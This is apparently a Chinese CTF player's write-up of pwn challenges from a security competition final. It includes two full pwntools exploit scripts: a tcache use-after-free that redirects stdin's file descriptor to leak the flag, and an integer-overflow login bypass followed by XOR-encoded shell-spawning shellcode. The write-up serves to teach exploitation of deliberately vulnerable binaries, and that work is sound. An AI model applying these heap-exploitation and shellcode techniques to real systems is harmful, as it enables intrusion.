前几天去成都参加了信安大赛的总决赛,被师傅们吊起来打hhh,最后混了个二等奖,虽然说成绩不是特别好,但是自己菜不能怪别人嘛,继续努力吧,需要学的还有很多呢
5 看着挺有意思的题目hhh
题目 开始时初始化读取了flag文件然后将其重定向到了666,然后进入到了Sandbox禁止了某些操作(留坑,后面看下)
然后是主要的选项题,add remove show 还有最后的签字退出hhh
add在内部是分为int 与 short int来分别处理的,但是有个共享的bool作为判断位,在删除的时候会进行判断(如果不是为了留漏洞,真的程序这么写可太蠢了…)。因为没有使用数组和链表,所以同时只能控制一个int的chunk和short_int的chunk
show限制三次,remove时还是存在着UAF漏洞
最后退出前会调用scanf让留一堆话然后输出出来
思路 结合前面的666与最后的scanf,应该是要让stdin的fd改为666使得在操作scanf时将flag输出
在gdb中进行测试,先看下stdin结构体
1 2 3 4 5 6 7 8 9 10 pwndbg> p *(struct _IO_FILE_plus *) stdin $1 = { file = { ... _fileno = 0, _flags2 = 0, ... }, vtable = 0x7fa0d8e252a0 <_IO_file_jumps> }
直接对其进行修改,再次打印1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> p $1->file->_fileno = 666 $2 = 666 pwndbg> p *(struct _IO_FILE_plus *) stdin $3 = { file = { ... _fileno = 666, _flags2 = 0, ... }, vtable = 0x7fa0d8e252a0 <_IO_file_jumps> }
看到修改成功,直接继续运行程序,然后退出Switching to interactive mode 1 2 3 4 5 $ 4 what do you want to say at last? [*] Process './inode_heap' stopped with exit code 0 (pid 15666) your message :this_is_flag we have received... have fun !
发现scanf不再从键盘接收输入,直接打印出了预先写好的本地flag
这样问题就是利用前面tcache的UAF将其结构体进行修改
因为输出的时候使用的是%d,所以没办法完全泄露,因此会需要部分地址覆盖来利用偏移将free掉的unsorted bin中的fd指针为stdin->_fileno所在的地址。
整个过程比较麻烦,但是将思路捋清就不会有什么问题。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 #!/usr/bin/env python2 # -*- coding:utf-8 -*- import sys from pwn import * #context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c'] if len(sys.argv) > 1: local = 0 else: local = 1 if local: sh = process('./inode_heap') elf = ELF('./inode_heap') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: sh = remote('','') elf = ELF('./inode_heap') #libc=ELF('') def add_int(num): sh.sendlineafter('> ', '1') sh.sendlineafter('>', '1') sh.sendlineafter('your inode number:', str(num)) def add_short(num): sh.sendlineafter('> ', '1') sh.sendlineafter('>', '2') sh.sendlineafter('your inode number:', str(num)) def remove_int(): sh.sendlineafter('> ', '2') sh.sendlineafter('>', '1') def remove_short(): sh.sendlineafter('> ', '2') sh.sendlineafter('>', '2') def show_int(): sh.sendlineafter('> ', '3') sh.sendlineafter('>', '1') def show_short(): sh.sendlineafter('> ', '3') sh.sendlineafter('>', '2') add_int(0) remove_int() add_short(0) remove_int() show_int() sh.recvuntil('number :') heap = int(sh.recvline()) if heap < 0x100000000: heap += 0x100000000 print hex(heap) # just half of sizeof(int) add_int(heap+0x20) add_int(0) add_int(0x91) add_int(0) add_int(0) add_int(0x21) for i in range(7): remove_short() add_int(0) remove_short() show_short() sh.recvuntil('number :') half_libc = int(sh.recvline()) if half_libc <0 : half_libc += 0x10000 print hex(half_libc) #---------------------------------------------# #gdb.attach(sh) add_short(half_libc-0x2a0+104) #cover part of address so that main_arena+96 to struct stdin->_fileno add_short(0) add_short(0) add_short(0) add_short(0) #gdb.attach(sh) remove_short() add_int(0) remove_short() add_short(heap+0x30) add_short(0) add_short(0) sh.sendlineafter('> ','1') sh.sendlineafter('>','2') sh.sendlineafter('number:','666') gdb.attach(sh) sh.interactive()
6 掌握的不熟练,需要多练习几道…
题目 c混合着c++写的程序,看着复杂了点。仍然是UAF漏洞,只有add delete功能,但是给了堆地址
分析 所以就是利用tcache的UAF来修改stdout来泄露libc之后再劫持malloc_hook 或 free_hook即可 原理等可以看之前写的这里https://siriuswhiter.github.io/2019/07/09/io-file-%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95/
exp
17 决赛最简单的一道题目了吧,反正是pwn里面最简单的//
题目 最开始先要login,会拿到随机的12个字节与输入比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 stream = fopen("/dev/urandom", "rb"); fread(&ptr, 0xCuLL, 1uLL, stream); fclose(stream); read(0, &buf, 0x10uLL); if ( !strncmp(&buf, &ptr, 0xCuLL) ) { puts("Welcome, MIB Agent."); result = 0LL; } else { printf("> ", &ptr); __isoc99_scanf("%d", &v1); if ( (signed int)v1 > 0xFF || !v1 ) { puts("Access denied."); exit(0); } result = v1; } return result; }
如果登录成功会进入一个选项,可以malloc 和free,malloc大小限制为0-0x7F,free限制两次;
如果没有选择这两个选项,就会进行一个比较,s1处之前是The cake is not a lie!,1 2 if ( !strcmp(s1, "The cake is a lie!") ) get_shellcode();
假如验证通过,就会读取0x50个字节,对其进行简单的处理,之后执行输入的内容。1 2 3 4 5 6 7 8 v3 = strlen(a1); for ( i = 0; ; ++i ) { result = i; if ( (signed int)i > v3 ) break; a1[i] ^= a1[i + 1]; }
分析 整个题目的思路是一步步引导过去的,一步步处理就行。
因为使用的/dev/urandom,这个肯定是无法绕过的,所以要看在else处的处理,很明显是要整数溢出,好在带了个ACMer,-256256 256这个数字脱口而出惊呆了hhh
想要让执行到后面的输入shellcode,就需要改变那个地方的值,中间只给了malloc和free,同时还有UAF的洞,很明显是个tcache的UAF,直接写就完事了
进入到输入shellcode,对其进行变换并执行,我们将其反过来变换就行了,这里多输入两位防止后面的被xor掉
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #!/usr/bin/env python2 # -*- coding:utf-8 -*- import sys from pwn import * context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c'] if len(sys.argv) > 1: local = 0 else: local = 1 if local: sh = process('./pwn') elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: sh = remote('172.16.9.24','9017') elf = ELF('./pwn') #libc=ELF('') sh.sendlineafter('> ','123456789012') sh.sendlineafter('> ','-2147483648') def new(size,con): sh.sendlineafter('> ','1') sh.sendlineafter('> ',str(size)) sh.sendafter('> ',con) def dele(): sh.sendlineafter('> ','2') new(0x30,'a\n') dele() dele() #gdb.attach(sh) new(0x30,'\x90') new(0x30,'a') new(0x30,'The cake is a lie!\0') #gdb.attach(sh) sh.sendlineafter('> ','3') #gdb.attach(sh) shellcode = bytearray(asm(shellcraft.amd64.sh(),arch='amd64')) print str(shellcode) print len(shellcode) for i in range(len(shellcode)-2,-1,-1): shellcode[i]=chr(shellcode[i]^shellcode[i+1]) print shellcode print len(shellcode) #print sh2 sh.sendlineafter('> ',str(shellcode)+'\0\0\0') sh.interactive()